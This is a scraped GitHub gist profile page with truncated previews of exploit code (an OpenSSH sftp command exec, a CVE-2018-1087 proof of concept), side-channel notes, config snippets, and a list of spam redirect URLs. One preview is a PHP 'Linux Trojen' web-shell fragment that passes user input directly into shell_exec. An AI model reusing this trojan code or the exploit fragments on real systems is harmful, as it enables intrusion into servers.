Skip to content

Instantly share code, notes, and snippets.

View avelardi's full-sized avatar

Tony Velardi avelardi

View GitHub Profile
@avelardi
avelardi / snake.c
Created July 10, 2018 14:34
OpenSSH 6.6 x64 sftp command exec
#define _GNU_SOURCE
// THIS PROGRAM IS NOT DESIGNED TO BE SAFE AGAINST VICTIM MACHINES THAT
// TRY TO ATTACK BACK, THE CODE IS SLOPPY!
// (In other words, please don't use this against other people's machines.)
#include <libssh/libssh.h>
#include <libssh/sftp.h>
#include <stdlib.h>
#include <stdio.h>
@avelardi
avelardi / mov_ss_trap.c
Created May 14, 2018 17:19
CVE-2018-1087 poc from mailing list
/* SPDX-License-Identifier: GPL-2.0 */
/*
* mov_ss_trap.c: Exercise the bizarre side effects of a watchpoint on MOV SS
*
* This does MOV SS from a watchpointed address followed by various
* types of kernel entries. A MOV SS that hits a watchpoint will queue
* up a #DB trap but will not actually deliver that trap. The trap
* will be delivered after the next instruction instead. The CPU's logic
* seems to be:
*
@avelardi
avelardi / branchscope-en.md
Last active April 24, 2024 07:31
Branchscope

BranchScope Article memo by herumi

Original here, just run through Google Translate and fixed formatting.

Whitepaper: BranchScope: A New Side-ChannelAttack on Directional Branch Predictor

Caution: I still do not understand the essential part

  • I might update it (maybe I can not dig into anymore because the condition that can be attacked is too severe to think that it is usually impossible)

Overview

@avelardi
avelardi / shim.md
Last active March 13, 2023 23:27
Nginx SSL Passphrase Shim Service For Systemd

make fifo: mkfifo -m 600 /path/to/fifo

/etc/nginx/sites-enabled/site

[CUT]
	ssl_certificate		/path/to/cert;
	ssl_password_file       /path/to/fifo;
	ssl_certificate_key	/path/to/key;
[CUT]
///////////BrownStarTeam///////////
#include <time.h>
#include <pthread.h>
#include <assert.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
# BrownStarTeam & B0STANLI Linux Trojen V3 Final Series 25.10.2017:00.07 #
<br><br>
<form method="post" action="">
Makinede Dosya Arama:<input type="text" name="keyword"><br />
<input type="submit" value="Gonder" name="submit">
</form>
<?php
$keywords=$_POST["keyword"];
$result=shell_exec('find / -name "'.$keywords.'"');
http://providencecc.vfao.com/register.aspx?Returnurl=http://timmy9972ph.eccportal.net/this-is-the-stress-that-will-shock-your-nervous-system-and-cause-the-greatest-release-of-muscle-building-hormones
1 http://www.capitalfinancialgroupinc.com/offsite/?url=http://donald3254sy.nightsgarden.com/before-increasing-the-weight-levels-they-should-work-on-becoming-familiar-with-the-proper-form-and-execution-of-each
http://01.look2.jp/webto.php?url=http%3A%2F%2Fportal.agrivisor.com%2FUserProfile%2Ftabid%2F166%2FUserID%2F235506%2FDefault.aspx
http://02035.org/feed/feed2js.php?src=http%3A%2F%2Ffile.feelcool.org%2Fresites.php%3Furl%3Dhttp%3A%2F%2Fparentingdiscou.sosblogs.com%2FThe-first-blog-b1%2FUnlike-Isolation-Exercises-Which-Only-Work-Individual-Muscles-Multi-jointed-Lifts-Work-Many-Different-Muscle-Groups-Simultaneously-b1-p58.htm&
http://0233.1go.co.kr/link.php?url=http://www.bikenightusa.com/r.php%3Fr=http://ramsay24654.soup.io/post/646870827/Like-All-The-Core-Muscle-Building-Exercises
http://030702.com/__media__/js

1. Clone your fork:

git clone git@github.com:YOUR-USERNAME/YOUR-FORKED-REPO.git

2. Add remote from original repository in your forked repository:

cd into/cloned/fork-repo
git remote add upstream git://github.com/ORIGINAL-DEV-USERNAME/REPO-YOU-FORKED-FROM.git
git fetch upstream
project(nheqminer)
cmake_minimum_required(VERSION 3.5)
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -std=c++11") # -Wall
## Enable solvers here
#### older slower
option(USE_CPU_TROMP "USE CPU_TROMP" OFF)
option(USE_CUDA_TROMP "USE CUDA_TROMP" OFF)
#### faster
#
# weechat -- weechat.conf
#
# WARNING: It is NOT recommended to edit this file by hand,
# especially if WeeChat is running.
#
# Use /set or similar command to change settings in WeeChat.
#
# For more info, see: https://weechat.org/doc/quickstart
#